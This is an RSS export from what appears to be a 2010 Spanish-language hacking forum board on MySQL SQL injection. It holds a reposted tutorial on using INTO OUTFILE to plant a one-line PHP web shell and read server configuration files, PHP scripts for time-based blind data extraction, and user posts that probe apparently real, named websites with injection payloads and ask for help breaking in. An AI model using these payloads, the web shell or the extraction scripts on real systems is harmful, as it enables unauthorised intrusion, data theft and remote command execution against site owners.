<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title> - SQL Injection MYSQL </title>
<description></description><link>https://foro.undersecurity.net/list.php?5</link><lastBuildDate>Thu, 09 Sep 2010 09:03:54 -0400</lastBuildDate>
<generator>Phorum 5.2.15a</generator>
<item>
<guid>https://foro.undersecurity.net/read.php?5,7897,7897#msg-7897</guid>
<title>MySQL into outfile (1 reply)</title><link>https://foro.undersecurity.net/read.php?5,7897,7897#msg-7897</link><description><![CDATA[<a href="http://websec.wordpress.com/2007/11/17/mysql-into-outfile/" target="_blank" rel="nofollow" >MySQL into outfile</a><br /><br /><br />This article will be about into outfile, a pretty useful feature of MySQL for SQLi attackers. We will take a look at the FILE privilege and the web directory problem first and then think about some useful files we could write on the webserver.<br /><br />Please note that attacking websites you are not allowed to attack is a crime and should not be done. This article is for learning purposes only.<br /><br />As in the previous articles I’ll assume you know the basics about SQL injection and union select.<br /><br /><b>1.) The FILE privilege</b><br /><br />If we want to read or write to files we have to have the FILE privilege. Lets find out which database user we are first:<br /><pre class="bbcode">
0′ UNION SELECT current_user,null /*</pre><br />or:<br /><pre class="bbcode">
0′ UNION SELECT user(),null /*</pre><br />This will give us the username@server. We’re just interested in the username by now.<br /><br />You can also use the following blind SQL injections if you cant access the output of the query.<br />Guess a name:<br /><pre class="bbcode">
1′ AND user() LIKE ‘root</pre><br />Brute the name letter by letter:<br /><pre class="bbcode">
1′ AND MID((user()),1,1)&gt;’m
1′ AND MID((user()),2,1)&gt;’m
1′ AND MID((user()),3,1)&gt;’m
…</pre><br /><br />Once we know the current username we can check the FILE privilege for this user. First we try to access the mysql.user table (MySQL 4/5):<br /><pre class="bbcode">
0′ UNION SELECT file_priv,null FROM mysql.user WHERE user = ‘username</pre><br /><br />You can also have a look at the whole mysql.user table without the WHERE clause, but I chose this way because you can easily adapt the injection for blind SQL injection:<br /><br /><pre class="bbcode">
1′ AND MID((SELECT file_priv FROM mysql.user WHERE user = ‘username’),1,1) = ‘Y</pre><br />(one column only, do not add nulls here, it’s not a union select)<br /><br />You can also recieve the FILE privilege info from the information.schema table on MySQL 5:<br /><pre class="bbcode">
0′ UNION SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%</pre><br /><br />blindly:<br /><pre class="bbcode">
1′ AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’),1,1)=’Y</pre><br /><br />If you can’t access the mysql.user or information_schema table (default) just go ahead with the next steps and just try.<br />If you figured out that you have no FILE privileges you can’t successfully use INTO OUTFILE.<br /><br /><b>2.) The web directory problem</b><br /><br />Once we know if we can read/write files we have to check out the right path. In the most cases the MySQL server is running on the same machine as the webserver does and to access our files later we want to write them onto the web directory. If you define no path, INTO OUTFILE will write into the database directory.<br /><br />On MySQL 4 we can get an error message displaying the datadir:<br /><pre class="bbcode">
0′ UNION SELECT load_file(‘a’),null/*</pre><br /><br />On MySQL 5 we use:<br /><pre class="bbcode">
0′ UNION SELECT @@datadir,null/*</pre><br /><br />The default path for file writing then is datadir\databasename.<br />You can figure out the databasename with:<br /><pre class="bbcode">
0′ UNION SELECT database(),null/*</pre><br /><br />Now these information are hard to get with blind SQL injection. But you don’t need them necessarily. Just make sure you find out the web directory and use some ../ to jump back from the datadir.<br /><br />If you are lucky the script uses mysql_result(), mysql_free_result(), mysql_fetch_row() or similar functions and displays warning messages. Then you can easily find out the webserver directory by leaving those functions with no input that they will throw a warning message like:<br /><br /><pre class="bbcode">
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /web/server/path/file.php on line xxx</pre><br /><br />To provoke an error like this try something like:<br /><pre class="bbcode">
0′ AND 1=’0</pre><br /><br />This works at the most websites. If you’re not lucky you have to guess the web directory or try to use load_file() to fetch files on the server which might help you. Here is a new list of possible locations for the Apache configuration file, which may spoil the webdirectory path:<br /><pre class="bbcode">
/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include</pre><br /><br />Check out the webservers name first by reading the header info and then figure out where it usually stores its configuration files. This also depends on the OS type (*nix/win) so you may want to check that out too. Use @@version or version() to find that out:<br /><pre class="bbcode">
0′ UNION SELECT @@version,null /*</pre><br />-nt-log at the end means it’s a windows box, -log only means it’s *nix box.<br />Or take a look at the paths in error messages or at the header.<br /><br />Typical web directories to guess could be:<br /><pre class="bbcode">
/var/www/html/
/var/www/web1/html/
/var/www/sitename/htdocs/
/var/www/localhost/htdocs
/var/www/vhosts/sitename/httpdocs/</pre><br />Use google to get some more ideas.<br /><br />Basically you should be allowed to write into any directory where the MySQL server has write access to, as long as you have the FILE privilege. However, an Administrator can limit the path for public write access.<br /><br /><b>3.) create useful files</b><br /><br />Once you figured out the right directory you can select data and write it into a file with:<br />0′ UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/file.txt<br />(How to figure out column/table names, see my article about MySQL table and column names)<br /><br />Or the whole data without knowing the table/column names:<br /><pre class="bbcode">
1′ OR 1=1 INTO OUTFILE ‘../../web/dir/file.txt</pre><br /><br />If you want to avoid splitting chars between the data, use INTO DUMPFILE instead of INTO OUTFILE.<br /><br />You can also combine load_file() with into outfile, like putting a copy of a file to the accessable webspace.<br /><pre class="bbcode">
0′ AND 1=0 UNION SELECT load_file(‘…’) INTO OUTFILE ‘…</pre><br /><br />In some cases I’d recommend to use<br /><pre class="bbcode">
0′ AND 1=0 UNION SELECT hex(load_file(‘…’)) INTO OUTFILE ‘…</pre><br />and decrypt it later with the PHP Charset Encoder, especially when reading the MySQL data files.<br /><br />Or you can write whatever you want into a file:<br /><pre class="bbcode">
0′ AND 1=0 UNION SELECT ‘code’,null INTO OUTFILE ‘../../web/server/dir/file.php</pre><br /><br />Here are some useful code examples:<br />// PHP SHELL<br /><pre class="bbcode">
&lt;? system($_GET['c']); ?&gt;</pre><br />This is a very simple one. You can find more complex ones (including file browsing and so on) on the internet.<br />Note that the PHP safe_mode must be turned off. Depending on OS and PHP version you can bypass the safe_mode sometimes.<br /><br />// webserver info<br />Gain a lot of information about the webserver configuration with:<br /><pre class="bbcode">
&lt;? phpinfo(); ?&gt;</pre><br /><br />// SQL QUERY<br /><pre class="bbcode">
&lt;? ... $result = mysql_query($_GET['query']); ... ?&gt;</pre><br />Try to use load_file() to get the database connection credentials, or try to include an existing file on the webserver which handles the mysql connect.<br /><br />At the end some notes regarding INTO OUTFILE:<br /><br />you can’t overwrite files with INTO OUTFILE<br />INTO OUTFILE must be the last statement in the query<br />there is no way I know of to encode the pathname, so quotes are required<br />you can encode your code with char()<br />If you have any other clever tricks or feel I’m in error on some facts, PLEASE leave a comment or contact me.]]></description>
<dc:creator>seth</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Tue, 31 Aug 2010 01:53:48 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,7896,7896#msg-7896</guid>
<title>Inyección sql en insert (1 reply)</title><link>https://foro.undersecurity.net/read.php?5,7896,7896#msg-7896</link><description><![CDATA[<a href="https://elrincondeseth.wordpress.com/2010/08/28/inyeccion-sql-en-insert/" target="_blank" rel="nofollow" >https://elrincondeseth.wordpress.com/2010/08/28/inyeccion-sql-en-insert/</a>]]></description>
<dc:creator>seth</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Tue, 31 Aug 2010 01:55:49 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,7818,7818#msg-7818</guid>
<title>Detectar Mysql Via SQLI (2 replies)</title><link>https://foro.undersecurity.net/read.php?5,7818,7818#msg-7818</link><description><![CDATA[<pre class="bbcode">
contenido.php?id_contenido=25'/*!+and+1=0*/+--+</pre><br /><br />En Mysql, se pueden ocupar los comentarios /**/ , -- , pero cuando se antepone el !, se ejecutar lo que esta dentro del comentario, en este caso, el resultado no se mostrara normalmente.]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Sat, 14 Aug 2010 16:57:36 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,7817,7817#msg-7817</guid>
<title>Detectar Version 5 Via Query (no replies)</title><link>https://foro.undersecurity.net/read.php?5,7817,7817#msg-7817</link><description><![CDATA[<pre class="bbcode">
contenido.php?id_contenido=25'+and+1=((SELECT+IF((select+mid(version(),1,1))=5,true,false)))+--+</pre><br />Si es version 5, retornara el resultado normalmente, si no lo es, no se mostrara normalmente. en lugar de true, se puede generar un &quot;sleep&quot;, para detectarlo cuando ya es mas complicado.]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Thu, 12 Aug 2010 22:47:34 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,7700,7700#msg-7700</guid>
<title>Manual Blind SQLi &quot;inyeccion a ciegas&quot; por soez (no replies)</title><link>https://foro.undersecurity.net/read.php?5,7700,7700#msg-7700</link><description><![CDATA[Espero os venga bien este Manual que he hecho, saludos<br /><br />Descarga en pdf: <a href="http://www.megaupload.com/?d=LI7KBQ4Z" target="_blank" rel="nofollow" >Megaupload</a><br /><br />Mirror: <a href="http://www.gigasize.com/get.php?d=qy7co2s6x3b" target="_blank" rel="nofollow" >Gigasize</a>]]></description>
<dc:creator>soez</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Sat, 31 Jul 2010 11:45:34 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,7125,7125#msg-7125</guid>
<title>Technique of quick exploitation of 2blind SQL Injection (no replies)</title><link>https://foro.undersecurity.net/read.php?5,7125,7125#msg-7125</link><description><![CDATA[<pre class="bbcode">
# Title: Technique of quick exploitation of 2blind SQL Injection
# Date: May 4th, 2010
# Author: Dmitry Evteev (Positive Technologies), Vladimir (D0znp) Voronzov (ONSec)
# Contacts: http://devteev.blogspot.com/ (Russian); http://oxod.ru/ (Russian)


In this paper, the quickest technique of double Blind SQL Injection exploitation are collected.

    
---=[ 0x01 ] Intro

SQL Injection vulnerabilities are often detected by analyzing error messages received from the  database, but 
sometimes we cannot exploit the discovered vulnerability using classic methods  (e.g., union). Until recently, we 
had to use boring slow techniques of symbol exhaustion in such cases. But is there any need to apply an ineffective 
approach, while we have the DBMS error message?!  It can be adapted for line-by-line reading of data from a
database or a file system, and this technique will be as easy as the classic SQL Injection exploitation. It is
foolish not to take advantage of such opportunity. 

To see the value of further materials, let us delve deeply into the terminology for a while. According to the 
exploitation technique, SQL Injection vulnerabilities can be divided into three groups:

1. Classical SQL Injection;
2. Blind SQL Injection;
2.1 Error-based blind SQL Injection;
2.2 Classical blind SQL Injection;
3. Double Blind SQL Injection (2Blind SQL Injection).

In the first place, classical exploitation of SQL Injection vulnerabilities provides an opportunity to merge two SQL 
queries for the purpose of obtaining additional data from a certain table. If it is possible to conduct a classical 
SQL Injection attack, then it becomes much easier to get useful information from the database management system (DBMS). 
Attack conduction using classic technique of SQL Injection exploitation involves application of the &quot;union&quot; operator or 
separation of SQL queries (semicolon, &quot;;&quot;). However, sometimes, it is impossible to exploit an SQL Injection 
vulnerability using this technique. In such cases, a blind method of vulnerability exploitation is applied.

A blind SQL Injection vulnerability appears in the following cases:

- an attacker is not able to control data showed to user as a result of vulnerable SQL request;
- injection gets into two different SELECT queries that in turn implement selection from tables with different numbers of columns;
- filtering of query concatenation is used (e.g. WAF).

Capabilities of Blind SQL Injection are comparable with those of classical SQL Injection technique. Just like the classical 
technique of exploitation, blind SQL Injection exploitation allows one to write and read files and get data from tables, 
only the entries are read symbol-by-symbol. Classical blind exploitation is based on analysis of true/false logical expression. 
If the expression is true, then the web application will return a certain content, and if it is false, the application will 
return another content.  If we consider the difference of outputs for true and false statements in the query, we will be able 
to conduct symbol-by-symbol search for data in a table or a file.
 
In some cases, Blind SQL Injection methods are also need in situations when an application returns an DBMS error message. 
Error-Based Blind SQL Injection is the quickest technique of SQL Injection exploitation. The essence of this method is that 
various DBMSs can place some valuable information (e.g. the database version) into the error messages in case of receiving 
illegal SQL expression. This technique can be used if any error of SQL expression processing occurred in the DBMS is returned 
back by the vulnerable application.

Sometimes not only all error messages are excluded from the page returned by the web application, but the vulnerable query itself 
and request results do not influence the returned page. For example, query used for some event logging or internal optimization. 
These SQL Injection vulnerabilities are separated into independent subtype - Double Blind SQL Injection. Exploitation of Double 
Blind SQL Injection vulnerabilities uses only time delays under SQL query processing; i.e., if an SQL query is executed immediately, 
it is false, but if it is executed with an N-second delay, then it is true. The described technique provides for symbol-by-symbol 
data reading only.

---=[ 0x02 ] Double Blind SQL Injection in MySQL

Exploitation of this group of SQL Injections is based on analysis of time delays from the moment of sending a query to the web 
application till the moment of receiving the answer from it. In classical approach, the function benchmark() is applied. However, 
the function sleep() represents a better and more secure alternative, because it doesn’t use processor resources of server as the 
function benchmark() does. Here is an example of a simple implementation of symbol-by-symbol search based on analysis of time delays.

function brute($column,$table,$lim)
{
	$ret_str = &quot;&quot;;
	$b_str = &quot;1234567890_abcdefghijklmnopqrstuvwxyz&quot;;
	$b_arr = str_split($b_str);
	for ($i=1;$i&lt;100;$i++)
	{
		print &quot;[+] Brute $i symbol...\n&quot;;
		for ($j=0;$j&lt;count($b_arr);$j++)
		{
			$brute = ord($b_arr[$j]);
			$q = &quot;/**/and/**/if((ord(lower(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))))=$brute,sleep(6),0)--&quot;;
			if (http_connect($q))
			{
				$ret_str=$ret_str.$b_arr[$j];
				print $b_arr[$j].&quot;\n&quot;;
				break;
			}
			print &quot;.&quot;;
		}
		if ($j == count($b_arr)) break;
	}
	return $ret_str;
}

As one can see, alphabetical order is used in the array $b_srt to find data. The script sequentially checks every symbol from the array 
for coincidence with a symbol from the database. One can speed up the process by arranging the symbols in a more favourable order or using 
a binary tree. We should notice that to apply binary trees, it is necessary to use symbols &quot;&gt;&quot; and &quot;&lt;&quot;, which is not always possible, because 
these symbols are often converted into HTML equivalents. Then, we still have a question – how can we find a &quot;favorable&quot; order of symbols being 
considered? Classical works in frequency analysis of Latin letters, which can be found in the Internet, suggest us a sequence starting with 
&quot;e, t, a, o, n, i, s, h, r, d, l, u, c&quot; (http://en.wikipedia.org/wiki/Frequency_analysis). If the letters are sorted according to this order, 
the number of requests sent to the web application will already decrease. However, we will go further.

---=[ 0x03 ] Not all letters are equally useful

Everything discussed above is correct, but we didn’t take into account one interesting fact: at every iteration step, we know the value of the 
previous symbol. This information is quite valuable and it is foolish not to use it. To conduct further statistical investigations, a library of 
5575 books written in English by various authors in different genres and of different sizes was downloaded (http://www.gutenberg.org/files/). The 
total data capacity is 2.15 GB, 1 761 822 605 Latin letters, or 379 009 003 English words. It was interesting to receive statistic information for 
the first letters of words. When appropriate statistic data was gathered, we obtained results that differ from the classical frequency analysis 
results. That the most popular letter to start English words with is &quot;t&quot;; this is the first letter for about 15% of words. First of all, it is 
because of abundance of article &quot;the&quot; in English texts. The next popular letter is &quot;a&quot;, which holds the third place in the classical frequency model; 
nevertheless, the situation is still almost the same. It is much more interesting that letter &quot;e&quot;, which is the most popular letter among all Latin 
letters in English, holds only the 16th place as the first letter of words. Thus, it is reasonable not to place this letter in the beginning of the 
array when searching, for example, for the first letter of a username. A contrary example is letter &quot;w&quot;, which holds the 5th place among first 
letters of words, but is only 16th among all letters in words. Well, now when it became clearer with the first letter, let’s go further.

---=[ 0x04 ] Letter chains

Considering the language phonetics and syllables, we collected statistic data on two-letter combinations. This means that the probability with which one 
letter follows another one can be estimated. It’s as if letters clung to each other, this is why this technique can be called &quot;letter chains&quot;. Such 
letter chains were collected from the whole library. Partial data is represented below. The value in the second column shows the number of two-letter 
combinations where the letter was following the given one. In the first column, the letter itself is given.

statistic of qX doubles:
a	862
c	11
b	34
e	134
d	10
g	2
f	18
i	186
h	30
k	1
j	3
m	22
l	29
o	235
n	34
q	384
p	13
s	174
r	163
u	1946692
t	61
w	60
v	166
y	56
x	25
z	12

statistic of wX doubles:
a	7786947
c	7341
b	24494
e	5872056
d	87405
g	3101
f	43828
i	6637324
h	7132332
k	28453
j	53
m	10103
l	230650
o	3988540
n	1486013
q	24
p	7517
s	482819
r	466381
u	27051
t	27903
w	82956
v	155
y	50550
x	8
z	348

Does it seem to be too tedious and not very useful? To understand how useful it is in fact, it is necessary to test the letter chains technique by 
experience. Two databases available from the Internet served as testing sets: the database of passwords of Hotmail users (about 10000 records) and 
the database of user logins from forum.searchengines.ru (about 70000 records). For each database, analogous letter chains were generated and the 
results were compared with those for the book library; the statistic data coincided in dynamics. There is no sense in representing all 26 diagrams 
here, so let us confine ourselves to giving two of them – for letters &quot;a&quot; and &quot;s&quot;, which are in the top five of the most popular first letters of 
logins, passwords, and book words. Similarity of statistic data for passwords, logins, and book words is obvious. It can be also seen that logins are 
statistically more similar to book words than passwords are. Considering everything that was proposed and tested above, we can obtain a new 
statistically valid function to exploit Double blind SQL Injection:

function brute($column,$table,$lim)
{
	$ret_str = &quot;&quot;;
	$b_str = &quot;tashwiobmcfdplnergyuvkjqzx_1234567890&quot;;
	$b_arr = str_split($b_str);
	for ($i=1;$i&lt;100;$i++)
	{
		if($last_ltr){
			switch ($last_ltr){
				case &quot;q&quot;: { $b_arr = str_split(&quot;uaqoisvretwybnhlxmfpzcdjgk_1234567890&quot;);}
				case &quot;w&quot;: { $b_arr = str_split(&quot;ahieonsrldwyfktubmpcgzvjqx_1234567890&quot;);}
				case &quot;e&quot;: { $b_arr = str_split(&quot;rndsaletcmvyipfxwgoubqhkzj_1234567890&quot;);}
				case &quot;r&quot;: { $b_arr = str_split(&quot;eoiastydnmrugkclvpfbhwqzjx_1234567890&quot;);}
				case &quot;t&quot;: { $b_arr = str_split(&quot;hoeiartsuylwmcnfpzbgdjkxvq_1234567890&quot;);}
				case &quot;y&quot;: { $b_arr = str_split(&quot;oesitamrlnpbwdchfgukzvxjyq_1234567890&quot;);}
				case &quot;u&quot;: { $b_arr = str_split(&quot;trsnlgpceimadbfoxkvyzwhjuq_1234567890&quot;);}
				case &quot;i&quot;: { $b_arr = str_split(&quot;ntscolmedrgvfabpkzxuijqhwy_1234567890&quot;);}
				case &quot;o&quot;: { $b_arr = str_split(&quot;nurfmtwolspvdkcibaeygjhxzq_1234567890&quot;);}
				case &quot;p&quot;: { $b_arr = str_split(&quot;eroaliputhsygmwbfdknczjvqx_1234567890&quot;);}
				case &quot;l&quot;: { $b_arr = str_split(&quot;eliayodusftkvmpwrcbgnhzqxj_1234567890&quot;);}
				case &quot;k&quot;: { $b_arr = str_split(&quot;einslayowfumrhtkbgdcvpjzqx_1234567890&quot;);}
				case &quot;j&quot;: { $b_arr = str_split(&quot;euoainkdlfsvztgprhycmjxwbq_1234567890&quot;);}
				case &quot;h&quot;: { $b_arr = str_split(&quot;eaioturysnmlbfwdchkvqpgzjx_1234567890&quot;);}
				case &quot;g&quot;: { $b_arr = str_split(&quot;ehroaiulsngtymdwbfpzkxcvjq_1234567890&quot;);}
				case &quot;f&quot;: { $b_arr = str_split(&quot;oeriafutlysdngmwcphjkbzvqx_1234567890&quot;);}
				case &quot;d&quot;: { $b_arr = str_split(&quot;eioasruydlgnvmwfhjtcbkpqzx_1234567890&quot;);}
				case &quot;s&quot;: { $b_arr = str_split(&quot;tehiosaupclmkwynfbqdgrvjzx_1234567890&quot;);}
				case &quot;a&quot;: { $b_arr = str_split(&quot;ntrsldicymvgbpkuwfehzaxjoq_1234567890&quot;);}
				case &quot;z&quot;: { $b_arr = str_split(&quot;eiaozulywhmtvbrsgkcnpdjfqx_1234567890&quot;);}
				case &quot;x&quot;: { $b_arr = str_split(&quot;ptcieaxhvouqlyfwbmsdgnzrkj_1234567890&quot;);}
				case &quot;c&quot;: { $b_arr = str_split(&quot;oheatikrlucysqdfnzpmgxbwvj_1234567890&quot;);}
				case &quot;v&quot;: { $b_arr = str_split(&quot;eiaoyrunlsvdptjgkhcmbfwzxq_1234567890&quot;);}
				case &quot;b&quot;: { $b_arr = str_split(&quot;euloyaristbjmdvnhwckgpfzxq_1234567890&quot;);}
				}
		}
		print &quot;[+] Brute $i symbol...\n&quot;;
		for ($j=0;$j&lt;count($b_arr);$j++)
		{
			$brute = ord($b_arr[$j]);
			$q = &quot;/**/and/**/if((ord(lower(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))))=$brute,sleep(6),0)--&quot;;
			if (http_connect($q))
			{
				$ret_str=$ret_str.$b_arr[$j];
				print $b_arr[$j].&quot;\n&quot;;
				$last_ltr=$b_arr[$j];
				break;
			}
			print &quot;.&quot;;
		}
		if ($j == count($b_arr)) break;
	}
	return $ret_str;
}

---=[ 0x05 ] Reference

http://www.ptsecurity.com/download/PT-devteev-FAST-blind-SQL-Injection.pdf
http://devteev.blogspot.com/ (Russian)
http://oxod.ru/ (Russian)
</pre>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Mon, 10 May 2010 00:34:25 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,7085,7085#msg-7085</guid>
<title>Exploiting hard filtered SQL Injections (1 reply)</title><link>https://foro.undersecurity.net/read.php?5,7085,7085#msg-7085</link><description><![CDATA[http://websec.wordpress.com/2010/03/19/exploiting-hard-filtered-sql-injections/]]></description>
<dc:creator>seth</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Wed, 28 Apr 2010 13:54:38 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,6924,6924#msg-6924</guid>
<title>Tipos de Hash en mysql (2 replies)</title><link>https://foro.undersecurity.net/read.php?5,6924,6924#msg-6924</link><description><![CDATA[Hola, seria bueno recompilar tipos de hash para poder destingirlos.<br /><br /><br /><pre class="bbcode">
* MD5 generates a 128-bit hash value, which can be represented in CHAR(32)
    * SHA-1 generates a 160-bit hash value, which can be represented in CHAR(40)
    * SHA-224 generates a 224-bit hash value, which can be represented in CHAR(56)
    * SHA-256 generates a 256-bit hash value, which can be represented in CHAR(64)
    * SHA-384 generates a 384-bit hash value, which can be represented in CHAR(96)
    * SHA-512 generates a 512-bit hash value, which can be represented in CHAR(128)</pre><br /><br /><br />Estos son algunos.<br /><br /><br /><pre class="bbcode">
md5_128bit	5f4dcc3b5aa765d61d8327deb882cf99
md5_64bit	5f4dcc3b5aa765d6
md5(md5_lcase)	696d29e0940a4957748fe3fc9efd22a3
md5(md5_Ucase)	3b73cca8b7d9d93a834631fb22769334
sha1_160bit	5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
MySQL_64bit	5d2e19393cc5ef67
MySQL_160bit	*2470c0c06dee42fd1618bb99005adca2ec9d1e19</pre><br /><br />Por EJ que tipo de hash es este??<br /><br />esxGSX84dDgfE<br /><br />-------<br /><br />Seria bueno poder recompilar una lista.<br /><br />saludos]]></description>
<dc:creator>pancho</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Sat, 03 Apr 2010 16:29:10 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,6919,6919#msg-6919</guid>
<title>Authentication Bypass - SQL Injection and magic_quotes (no replies)</title><link>https://foro.undersecurity.net/read.php?5,6919,6919#msg-6919</link><description><![CDATA[<img src="http://www.ubuntu-pics.de/bild/49718/screenshot_035_8gZ30N.png" class="bbcode" border="0" /><br /><a href="http://www.exploit-db.com/download_pdf/11956" target="_blank" rel="nofollow" ><b>Download</b></a>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Tue, 30 Mar 2010 22:38:08 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,6738,6738#msg-6738</guid>
<title>Como Protegerse de Sql Injection??? (4 replies)</title><link>https://foro.undersecurity.net/read.php?5,6738,6738#msg-6738</link><description><![CDATA[Hola a Todos. Espero q esta no sea una pregunta muy basica<br /><br />Me gustaria saber cual seria el mejor metodo para parchar sql injection<br /><br />por ej webs como esta<br /><br />http://staffbank.co.nz/vacancies.php?vacancy_id=55<br /><br />La tipica union select injection<br /><br /><br />PARA detectar el lugar de la injeccion, Q nececito mirar en el codigo de fuente de vacancies.php??? no puedo encontrar Nunguna senal de $_POST o nada por el estilo.<br />Donde podria usar algo como mysql_real_escape_string<br /><br /><br /><br />Me pregunto si para ver el verdadero codigo de funte de vacancies.php el administrador me tendria q mandarme el codio original??? NO SE SI ME EXPLICO<br /><br /><br />Me gustaria ver si alguien me puedo apuntar en la forma correcta<br /><br />GRACIAS]]></description>
<dc:creator>pancho</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Wed, 03 Mar 2010 21:56:26 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,6724,6724#msg-6724</guid>
<title>Atascado en inyección :-( (1 reply)</title><link>https://foro.undersecurity.net/read.php?5,6724,6724#msg-6724</link><description><![CDATA[Hola estoy practicando lo aprendido, he encontrado un sitio y os explico.<br /><br />Url original<br />http://www.google.com/xxx.php?param=39<br /><br />bien, metiendo una comilla simple al final obtengo:<br />ttp://www.google.com/xxx.php?param=39'<br />La consulta 1 falló: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''39''' at line 1<br /><br />así que siguiendo intento ésto:<br />http://www.google.com/xxx.php?param=39' or 1='1'<br />La consulta 1 falló: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1<br /><br />así que provando combinaciones, para que os voy a engañar, consigo ésto:<br />http://www.google.com/xxx.php?param=39' or 1='1' '<br />Observación<br />http://www.google.com/xxx.php?param=39' or 1=1 -- '<br />obtiene lo mismo<br /><br />Que si devuelve todos los registros, así que con ánimos de seguir y determinar el número de columnas paso a intentar la union:<br />http://www.google.com/xxx.php?param=39' union all select 1 '<br />La consulta falló: The used SELECT statements have a different number of columns<br /><br />Bien !!, así que sigo con<br />http://www.google.com/xxx.php?param=39' union all select 1 '<br />http://www.google.com/xxx.php?param=39' union all select 1,2 '<br />http://www.google.com/xxx.php?param=39' union all select 1,2,3 '<br />y así HASTA 102 columnas XD y nada<br />Pensáis que puedan haber más ? Yo creo que es improbable ya que a fín de cuentas se listan 2 o 3 campos<br /><br />De hecho cuando obtengo el error con el union all select 1 me formatea el error dentro de la página, posteriormente cuando intento con dos columnas o más me aparece la hoja en blanco en lugar de estar dentro de l página, espero explicarme ....<br /><br />así que siguiendo con la inyección intento<br />http://www.google.com/xxx.php?param=39' order by 1 '<br />La consulta 1 falló: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1<br />http://www.google.com/xxx.php?param=39' order by 1 ''<br />La consulta 1 falló: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1<br /><br />Mierda !!! XD<br />Y en una especie de ataque de lucidez intento anular el resto de la sql mediante<br />http://www.google.com/xxx.php?param=39' order by 1; -- '<br />La consulta falló: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near <span style="color:#FF3300">'ORDER BY nom'</span> at line 5<br /><br />así que intento<br />http://www.google.com/xxx.php?param=39' order by nom; -- '<br />La consulta falló: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY nom' at line 5<br />Parece que con el comentario no consiga nada o estoy en medio de una sql complicada con inner joins por todas partes ...<br /><br />En fín que se me acaban las ideas y necesito la luz que ilumine mi camino.<br /><br />Alguna idea ??<br /><br />Gracias!]]></description>
<dc:creator>binarycat</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Tue, 02 Mar 2010 16:50:06 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,6683,6683#msg-6683</guid>
<title>Incorrect usage of UNION and ORDER BY? (no replies)</title><link>https://foro.undersecurity.net/read.php?5,6683,6683#msg-6683</link><description><![CDATA[Hola,<br />me tope con esta pagina<br />Al intertar injectar sale que estoy usando union en forma incorrectamente.<br /><br />En que otra forma puedo usar union select? aparte de:<br /><br />http://www.weatherangels.co.nz/feedback.php?s=31+union+all+select+1--<br />http://www.weatherangels.co.nz/feedback.php?s=31/**/union/**/select/**/1--<br /><br />Gracias.]]></description>
<dc:creator>pancho</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Wed, 24 Feb 2010 23:18:38 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,6240,6240#msg-6240</guid>
